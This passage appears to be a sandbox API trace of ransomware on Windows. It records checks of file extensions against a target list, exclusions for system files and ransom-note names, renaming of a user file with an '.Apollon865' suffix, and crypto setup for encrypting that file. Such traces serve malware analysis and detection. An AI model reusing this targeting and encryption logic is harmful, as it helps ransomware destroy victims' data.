	[0061.280] lstrlenW (lpString="ns2") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.280] lstrlenW (lpString="ns3") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.280] lstrlenW (lpString="ns4") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.280] lstrlenW (lpString="nsf") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.280] lstrlenW (lpString="nv") returned 2
	[0061.280] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.280] lstrlenW (lpString="nv2") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.280] lstrlenW (lpString="nwdb") returned 4
	[0061.280] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.280] lstrlenW (lpString="nyf") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.281] lstrlenW (lpString="odb") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.281] lstrlenW (lpString="odb") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.281] lstrlenW (lpString="oqy") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.281] lstrlenW (lpString="ora") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.281] lstrlenW (lpString="orx") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.281] lstrlenW (lpString="owc") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.281] lstrlenW (lpString="p96") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.281] lstrlenW (lpString="p97") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.281] lstrlenW (lpString="pan") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.281] lstrlenW (lpString="pdb") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.281] lstrlenW (lpString="pdm") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.281] lstrlenW (lpString="pnz") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.281] lstrlenW (lpString="qry") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.281] lstrlenW (lpString="qvd") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.281] lstrlenW (lpString="rbf") returned 3
	[0061.281] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.281] lstrlenW (lpString="rctd") returned 4
	[0061.281] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.281] lstrlenW (lpString="rod") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.282] lstrlenW (lpString="rodx") returned 4
	[0061.282] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.282] lstrlenW (lpString="rpd") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.282] lstrlenW (lpString="rsd") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.282] lstrlenW (lpString="sas7bdat") returned 8
	[0061.282] lstrcmpiW (lpString1="onth.wpl", lpString2="sas7bdat") returned -1
	[0061.282] lstrlenW (lpString="sbf") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.282] lstrlenW (lpString="scx") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.282] lstrlenW (lpString="sdb") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.282] lstrlenW (lpString="sdc") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.282] lstrlenW (lpString="sdf") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.282] lstrlenW (lpString="sis") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.282] lstrlenW (lpString="spq") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.282] lstrlenW (lpString="te") returned 2
	[0061.282] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.282] lstrlenW (lpString="teacher") returned 7
	[0061.282] lstrcmpiW (lpString1="nth.wpl", lpString2="teacher") returned -1
	[0061.282] lstrlenW (lpString="tmd") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.282] lstrlenW (lpString="tps") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.282] lstrlenW (lpString="trc") returned 3
	[0061.282] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.282] lstrlenW (lpString="trc") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.283] lstrlenW (lpString="trm") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.283] lstrlenW (lpString="udb") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.283] lstrlenW (lpString="udl") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.283] lstrlenW (lpString="usr") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.283] lstrlenW (lpString="v12") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.283] lstrlenW (lpString="vis") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.283] lstrlenW (lpString="vpd") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.283] lstrlenW (lpString="vvv") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.283] lstrlenW (lpString="wdb") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.283] lstrlenW (lpString="wmdb") returned 4
	[0061.283] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.283] lstrlenW (lpString="wrk") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.283] lstrlenW (lpString="xdb") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.283] lstrlenW (lpString="xld") returned 3
	[0061.283] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.283] lstrlenW (lpString="xmlff") returned 5
	[0061.283] lstrcmpiW (lpString1="h.wpl", lpString2="xmlff") returned -1
	[0061.283] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.Apollon865") returned 134
	[0061.283] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.284] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.284] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=797) returned 1
	[0061.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0061.285] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.286] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.286] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.286] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x620, lpName=0x0) returned 0xc0
	[0061.287] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x620) returned 0x100000
	[0061.288] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.288] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.288] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0061.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0061.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.289] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.289] CloseHandle (hObject=0xc0) returned 1
	[0061.289] CloseHandle (hObject=0x14c) returned 1
	[0061.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.289] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
	[0061.289] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.289] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.289] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".") returned 1
	[0061.289] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="..") returned 1
	[0061.289] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="windows") returned -1
	[0061.289] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="bootmgr") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="temp") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="boot") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="ids.txt") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="perflogs") returned -1
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="MSBuild") returned -1
	[0061.290] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0061.290] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 123
	[0061.290] lstrcpyW (in: lpString1=0x119e6b0, lpString2="06_Pictures_rated_4_or_5_stars.wpl" | out: lpString1="06_Pictures_rated_4_or_5_stars.wpl") returned="06_Pictures_rated_4_or_5_stars.wpl"
	[0061.290] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0061.290] lstrlenW (lpString="Apollon865") returned 10
	[0061.290] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0061.290] lstrlenW (lpString=".dll") returned 4
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0061.290] lstrlenW (lpString=".lnk") returned 4
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0061.290] lstrlenW (lpString=".ini") returned 4
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0061.290] lstrlenW (lpString=".sys") returned 4
	[0061.290] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0061.290] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0061.290] lstrlenW (lpString="bak") returned 3
	[0061.290] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.290] lstrlenW (lpString="ba_") returned 3
	[0061.290] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.290] lstrlenW (lpString="dbb") returned 3
	[0061.290] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.290] lstrlenW (lpString="vmdk") returned 4
	[0061.290] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.290] lstrlenW (lpString="rar") returned 3
	[0061.290] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.290] lstrlenW (lpString="zip") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.291] lstrlenW (lpString="tgz") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.291] lstrlenW (lpString="vbox") returned 4
	[0061.291] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.291] lstrlenW (lpString="vdi") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.291] lstrlenW (lpString="vhd") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.291] lstrlenW (lpString="vhdx") returned 4
	[0061.291] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.291] lstrlenW (lpString="avhd") returned 4
	[0061.291] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.291] lstrlenW (lpString="db") returned 2
	[0061.291] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.291] lstrlenW (lpString="db2") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.291] lstrlenW (lpString="db3") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.291] lstrlenW (lpString="dbf") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.291] lstrlenW (lpString="mdf") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.291] lstrlenW (lpString="mdb") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.291] lstrlenW (lpString="sql") returned 3
	[0061.291] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.291] lstrlenW (lpString="sqlite") returned 6
	[0061.291] lstrcmpiW (lpString1="rs.wpl", lpString2="sqlite") returned -1
	[0061.291] lstrlenW (lpString="sqlite3") returned 7
	[0061.291] lstrcmpiW (lpString1="ars.wpl", lpString2="sqlite3") returned -1
	[0061.291] lstrlenW (lpString="sqlitedb") returned 8
	[0061.291] lstrcmpiW (lpString1="tars.wpl", lpString2="sqlitedb") returned 1
	[0061.292] lstrlenW (lpString="xml") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.292] lstrlenW (lpString="$er") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.292] lstrlenW (lpString="4dd") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.292] lstrlenW (lpString="4dl") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.292] lstrlenW (lpString="^^^") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.292] lstrlenW (lpString="abs") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.292] lstrlenW (lpString="abx") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.292] lstrlenW (lpString="accdb") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0061.292] lstrlenW (lpString="accdc") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0061.292] lstrlenW (lpString="accde") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0061.292] lstrlenW (lpString="accdr") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0061.292] lstrlenW (lpString="accdt") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0061.292] lstrlenW (lpString="accdw") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0061.292] lstrlenW (lpString="accft") returned 5
	[0061.292] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0061.292] lstrlenW (lpString="adb") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.292] lstrlenW (lpString="adb") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.292] lstrlenW (lpString="ade") returned 3
	[0061.292] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.292] lstrlenW (lpString="adf") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.293] lstrlenW (lpString="adn") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.293] lstrlenW (lpString="adp") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.293] lstrlenW (lpString="alf") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.293] lstrlenW (lpString="ask") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.293] lstrlenW (lpString="btr") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.293] lstrlenW (lpString="cat") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.293] lstrlenW (lpString="cdb") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.293] lstrlenW (lpString="ckp") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.293] lstrlenW (lpString="cma") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.293] lstrlenW (lpString="cpd") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.293] lstrlenW (lpString="dacpac") returned 6
	[0061.293] lstrcmpiW (lpString1="rs.wpl", lpString2="dacpac") returned 1
	[0061.293] lstrlenW (lpString="dad") returned 3
	[0061.293] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.293] lstrlenW (lpString="dadiagrams") returned 10
	[0061.294] lstrcmpiW (lpString1="_stars.wpl", lpString2="dadiagrams") returned -1
	[0061.294] lstrlenW (lpString="daschema") returned 8
	[0061.294] lstrcmpiW (lpString1="tars.wpl", lpString2="daschema") returned 1
	[0061.294] lstrlenW (lpString="db-journal") returned 10
	[0061.294] lstrcmpiW (lpString1="_stars.wpl", lpString2="db-journal") returned -1
	[0061.294] lstrlenW (lpString="db-shm") returned 6
	[0061.294] lstrcmpiW (lpString1="rs.wpl", lpString2="db-shm") returned 1
	[0061.294] lstrlenW (lpString="db-wal") returned 6
	[0061.294] lstrcmpiW (lpString1="rs.wpl", lpString2="db-wal") returned 1
	[0061.294] lstrlenW (lpString="dbc") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.294] lstrlenW (lpString="dbs") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.294] lstrlenW (lpString="dbt") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.294] lstrlenW (lpString="dbv") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.294] lstrlenW (lpString="dbx") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.294] lstrlenW (lpString="dcb") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.294] lstrlenW (lpString="dct") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.294] lstrlenW (lpString="dcx") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.294] lstrlenW (lpString="ddl") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.294] lstrlenW (lpString="dlis") returned 4
	[0061.294] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.294] lstrlenW (lpString="dp1") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.294] lstrlenW (lpString="dqy") returned 3
	[0061.294] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.295] lstrlenW (lpString="dsk") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.295] lstrlenW (lpString="dsn") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.295] lstrlenW (lpString="dtsx") returned 4
	[0061.295] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.295] lstrlenW (lpString="dxl") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.295] lstrlenW (lpString="eco") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.295] lstrlenW (lpString="ecx") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.295] lstrlenW (lpString="edb") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.295] lstrlenW (lpString="epim") returned 4
	[0061.295] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.295] lstrlenW (lpString="fcd") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.295] lstrlenW (lpString="fdb") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.295] lstrlenW (lpString="fic") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.295] lstrlenW (lpString="flexolibrary") returned 12
	[0061.295] lstrcmpiW (lpString1="_5_stars.wpl", lpString2="flexolibrary") returned -1
	[0061.295] lstrlenW (lpString="fm5") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.295] lstrlenW (lpString="fmp") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.295] lstrlenW (lpString="fmp12") returned 5
	[0061.295] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0061.295] lstrlenW (lpString="fmpsl") returned 5
	[0061.295] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0061.295] lstrlenW (lpString="fol") returned 3
	[0061.295] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.296] lstrlenW (lpString="fp3") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.296] lstrlenW (lpString="fp4") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.296] lstrlenW (lpString="fp5") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.296] lstrlenW (lpString="fp7") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.296] lstrlenW (lpString="fpt") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.296] lstrlenW (lpString="frm") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.296] lstrlenW (lpString="gdb") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.296] lstrlenW (lpString="gdb") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.296] lstrlenW (lpString="grdb") returned 4
	[0061.296] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.296] lstrlenW (lpString="gwi") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.296] lstrlenW (lpString="hdb") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.296] lstrlenW (lpString="his") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.296] lstrlenW (lpString="ib") returned 2
	[0061.296] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.296] lstrlenW (lpString="idb") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.296] lstrlenW (lpString="ihx") returned 3
	[0061.296] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.296] lstrlenW (lpString="itdb") returned 4
	[0061.296] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.296] lstrlenW (lpString="itw") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.297] lstrlenW (lpString="jet") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
